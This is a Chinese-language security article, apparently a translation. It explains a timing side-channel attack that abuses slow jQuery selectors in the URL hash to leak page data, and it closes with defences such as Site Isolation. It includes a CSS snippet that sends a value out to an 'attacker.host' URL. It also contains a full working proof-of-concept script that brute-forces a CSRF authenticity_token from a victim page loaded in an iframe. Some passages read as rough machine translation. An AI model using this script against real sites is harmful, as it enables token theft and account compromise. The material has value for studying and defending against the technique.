使用CSS选择器和基于时间的攻击的Javascript获取数据
jQuery是JavaScript的一个库,于2006年8月发布。jQuery通过使元素选择器,事件链接和处理更容易,简化了在JavaScript中编写代码的过程。
可以很明确地说,自从jQuery发布以来,大量基于客户端的库对jQuery具有很大程度上的依赖。在本文中,我们将讨论jQuery选择器的研究以及如何将它们用作攻击,以便黑客获取数据。
首先,我们应该注意document.querySelector
和CSS选择器可以使用相同的方法。但是,由于我们在本文中引用的研究证明了jQuery的概念,我们将详细介绍这种针对jQuery选择器的攻击。
使用jQuery选择器可以执行的操作示例
jQuery选择器有各种用途。jQuery选择器可帮助您调用一个或多个HTML元素,类,ID,属性值和元素索引。例如,使用此jQuery选择器,您可以选择具有“用户名”ID的元素:
$("#username")
要么
jQuery("#username)
同样,在选择元素时,可以使用相关的类值而不是ID。此代码使用formItem类选择所有元素:
$(".formItem")
要么
jQuery(".formItem")
也可以使用jQuery中的元素属性进行选择。例如,我们可以使用以下代码选择其类型设置为“password”的所有输入:
jQuery("input[type='password']")
jQuery可以同时使用多个选择器。例如,我们可以使用此选择器选择其类型设置为“text”的所有元素,并且是formElement类:
jQuery(".formElement[type='text']")
jQuery还允许使用startWith并包含运算符作为属性选择器。例如,输入[value ^ =’x’]选择器将选择其值以“x”开头的所有输入。
jQuery(location.hash)
使用网址,我们可以让网络知道我们要求的内容,我们要求的内容以及相关权限。
URL的片段(也称为锚点)是散列(#)之后的部分。携带片段ID的HTML元素可以在页面上滚动。当向下面的URL发出请求时,页面将向下滚动到与ID属性对应的相应片段。
https://www.example.com/#contactForm
使用多个jQuery选择器的定时攻击示例
我们已经声明可以同时使用多个jQuery选择器。现在我们将分享一个比较好的思路。
如果您在浏览器的控制台上执行以下代码(Ctrl-Shift-K
或Ctrl-Shift-J
),您将看到它产生延迟结果:
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) body")
现在执行以下代码:
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) body[noAttribute='noExist']")
由于页面没有noAttribute
属性为'noExist'
的元素,因此该命令将没有延迟。为什么第一个命令需要这么长时间,那么第二个命令是否立即发生?
元素选择器从右到左的评估
这是选择器的技巧发挥作用的时候。由于元素选择器是从右到左计算的,当选择器意识到页面没有与noAttribute
属性匹配且具有“noExist”值的body元素时,选择器将解除命令的其余部分。
为什么浏览器会以这种方式运行?我们可以使用来自Stack Overflow的CSS Trick的引用来回复此问题:
…在这种情况下,浏览器正在查看它所考虑的大多数选择器与所讨论的元素不匹配。所以问题就变成了决定选择器不尽可能快的问题; 如果在匹配的情况下需要一些额外的工作,由于您在不匹配的情况下保存的所有工作,您仍然会赢。
执行selector命令后,浏览器将访问所有DOM元素。如果它开始从左到右访问每个元素,它将搜索所有输入元素,那么它将必须控制其余元素是否具有formItem类。
但是,如果比较过程是从右到左执行的,那么只需要那些具有formItem类的元素,然后只选择那些具有输入类型的元素。
由于定义选择器是最后一个,因此从右到左的比较过程会快得多。考虑到这一点,我们可以使用基于时间的攻击从网页获取数据。
时间攻击与基于布尔攻击的区别
黑客可以使用基于布尔方法的CSS选择器从服务器中提取数据。通过这种方式,他们可以从他们控制的服务器请求资源。但是,元素有义务支持CSS属性,如background / background-image,list-style / list-style-image。
<style>
#username[value="mikeg"] {
background:url("https://attacker.host/mikeg");
}
</style>
<input id="username" value="mikeg" />
本文中方法的一个优点是它没有类似的约束。使用此方法,您可以使用此代码获取认证:
*:has(:has(:has(*)) :has(*) :has(*)) input[name=authenticity_token][value^='x']
测量定时攻击中的经过时间
我们的攻击是基于时间的,我们如何衡量经过的时间?Eduardo Vela,2014年撰写,提出了这样的解释:
他表示我们可以衡量基于时间的攻击所用的时间。在攻击者和受害者的网站在同一个线程上工作的情况下,在受害者网站上花费一段时间的加载将减慢攻击者网站上的进程,允许攻击者测量经过的时间。
时间攻击漏洞的详细信息
攻击者在iframe中加载被攻击网站,使用setTimeout函数指定一个稍后会起作用的函数(回调)。然后,使用哈希选择器在被攻击者的网站上发出请求。
由于hashchange处理程序的结果需要时间,因此将延迟回调,这将window.performance.now
函数测量:
<script>
const WAIT_TIME = 6;
const VICTIM_URL = "https://labs.sheddow.xyz/fsf.html";
const wait = ms => new Promise(resolve => setTimeout(resolve, ms));
function get_execution_time(selector) {
var t0 = window.performance.now();
var p = wait(WAIT_TIME).then(_ => Promise.resolve(measure_time(t0)))
window.frames[0].location = VICTIM_URL + "#x," + encodeURIComponent(selector) + ","+Math.random();
return p;
}
function measure_time(t0) {
var t = window.performance.now() - t0;
return t;
}
const SLOW_SELECTOR = "*:has(*:has(*) *:has(*) *:has(*) *:has(*))";
const SELECTOR_TEMPLATE = "input[name=authenticity_token][value^='{}']";
async function binary_search(prefix, characters) {
console.log("Testing '" + characters + "'");
if (characters.length == 1) {
return characters[0];
}
var mid = Math.floor(characters.length/2);
var s1 = make_selector(prefix, characters.slice(0, mid));
var s2 = make_selector(prefix, characters.slice(mid, characters.length));
var t1 = await get_execution_time(s1);
var t2 = await get_execution_time(s2);
if (approximately_equal(t1, t2)) {
return null;
}
else if (t1 < t2) {
return binary_search(prefix, characters.slice(mid, characters.length));
}
else {
return binary_search(prefix, characters.slice(0, mid));
}
}
function make_selector(prefix, characters) {
return characters
.split("")
.map(c => SLOW_SELECTOR + " " + SELECTOR_TEMPLATE.replace("{}", prefix + c))
.join(",");
}
function approximately_equal(t1, t2) {
var diff = Math.abs(t1 - t2);
return diff <= 0.2*t1 || diff <= 0.2*t2;
}
const BASE64_CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";
const TOKEN_LENGTH = 43;
async function bruteforce_token() {
var backtracks = 0;
var t0 = window.performance.now();
var misses = 0;
var token = "";
while (token.length < TOKEN_LENGTH) {
var c = await binary_search(token, BASE64_CHARS);
if (c === null) {
misses++;
if (misses == 3) {
token = token.slice(0, -1); // Backtrack
backtracks++;
}
}
else {
token += c;
misses = 0;
}
document.getElementById("token").innerHTML = token;
document.getElementById("percent").innerHTML = Math.round(100*token.length/TOKEN_LENGTH) + "%";
}
token += "=";
document.getElementById("token").innerHTML = token;
var elapsed = window.performance.now() - t0;
return {token, elapsed, backtracks};
}
window.onload = function() {
if (location.search === "?attack") {
bruteforce_token().then(({token, elapsed, backtracks}) => {
wait(0).then(_ => alert("Found " + token + " in " + elapsed/1000 + " seconds with " + backtracks + " backtracks"));
});
}
}
</script>
<body>
<iframe src="https://labs.sheddow.xyz/fsf.html"></iframe>
<div class="box" id="token"></div>
<div class="box" id="percent"></div>
</body>
防止基于时间的攻击
此攻击使用iframe,这可能会导致某些人认为设置X-Frame-Options
标头会阻止网站加载到iframe中,从而完全避免攻击。
但事实并非如此,因为攻击者可以使用window.open和延迟回调执行相同的操作。
我们已经提到过,只有当攻击者和受害者的网站在同一个线程上工作时,才能进行定时攻击。但是,如果网站在不同的线程上工作怎么办?
在这种情况下,您只能使用站点隔离来阻止攻击。站点隔离是Chrome 63中引入的一项新功能。这意味着不管选项卡或iframe如何,不同来源的网站都必须作为单独的进程运行。
现场隔离的一些最终要点
Chrome 63及更高版本默认禁用站点隔离。您必须访问chrome:// flags / #enable-site-per-process
以启用站点隔离。
更改此设置后,您还必须立即重新启动浏览器,您也可以为特定来源启用站点隔离,启动Chrome时,您可以使用以下参数执行此操作:
--isolate-origins=https://google.com,https://youtube.com
浏览器会自动确认以下站点隔离错误:
如果在所有网站上启用了站点隔离,则会额外增加10-20%的性能开销。可以在某些网站上启用该功能以减少开销。
加载不同来源的iframe在显示的HTML页面上看起来是空白的。
在某些情况下,点击和滚动在具有不同来源的iframe中无法正常工作。
标题对唯一攻击向量无效
在本文中,我们探讨了jQuery元素选择器的使用及其在Sigurd Kolltveit
发现的定时攻击中的作用。我们分享了Eduardo Velo的研究,
他在博客上发表了关于测量基于时间的攻击的创新方法。如上所述,有时标题不足以对抗唯一的攻击向量,并且用户必须采取其他预防措施,例如启用站点隔离。